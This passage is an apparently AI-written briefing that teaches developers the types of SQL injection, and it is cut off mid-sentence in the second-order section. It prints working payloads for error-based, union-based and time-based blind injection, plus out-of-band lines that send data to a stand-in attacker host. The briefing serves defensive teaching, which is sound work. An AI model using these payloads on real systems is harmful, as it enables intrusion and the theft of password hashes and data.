Claude on Question 19, Sep 15

SQL Injection: A Briefing for Developers

The one-sentence definition

SQL injection happens when untrusted input is concatenated into a query string so that the database parses attacker data as code rather than treating it as data. Every variant below is a symptom of that single root cause.

Classification 1: By how the attacker gets data out

This axis matters for your detection and testing strategy — some variants leave almost no trace in logs.

In-band (results come back in the app's own response)

Error-based — The attacker coerces the DB into emitting a verbose error containing query results.

' AND 1=CAST((SELECT current_user) AS int)--

Postgres/MSSQL/Oracle will happily leak the value inside the type-conversion error. Requires verbose errors reaching the user.

Union-based — Appends UNION SELECT to graft attacker-chosen columns onto the legitimate result set. Requires the results to be rendered and column count/types to be matchable.

' UNION SELECT username, password_hash, NULL FROM users--

Inferential / "blind" (no data in the response; attacker infers it one bit at a time)

Boolean-based — Attacker injects a condition and distinguishes "true" from "false" by a difference in the page: a record appearing, a redirect, a content-length change.

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'--

Time-based — Used when responses are byte-identical. The attacker infers bits from response latency.

'; IF (SELECT ...) WAITFOR DELAY '0:0:5'--       -- MSSQL
' AND IF(..., SLEEP(5), 0)--                     -- MySQL
' AND (SELECT CASE WHEN (...) THEN pg_sleep(5) ELSE 0 END)--  -- Postgres

Critical point for your team: blind SQLi is fully exploitable and fully automatable (sqlmap does it out of the box). "We don't show errors and we don't render the results" is not a mitigation. It only changes the extraction rate from seconds to minutes.

Out-of-band

The DB itself makes a network request carrying the data — useful when the app response is asynchronous or unavailable.

MSSQL:  xp_dirtree '\\<data>.attacker.com\x'
Oracle: UTL_HTTP.request / DBMS_LDAP
MySQL:  LOAD_FILE(CONCAT('\\\\', <data>, '.attacker.com\\x'))

This bypasses many WAFs and response-based monitoring. Egress filtering on your DB servers is the control here.

Classification 2: By when the payload executes

First-order — Input is injected and executed in the same request. This is what scanners find.

Second-order (stored/deferred) — Input is safely stored, then later concatenated into a query by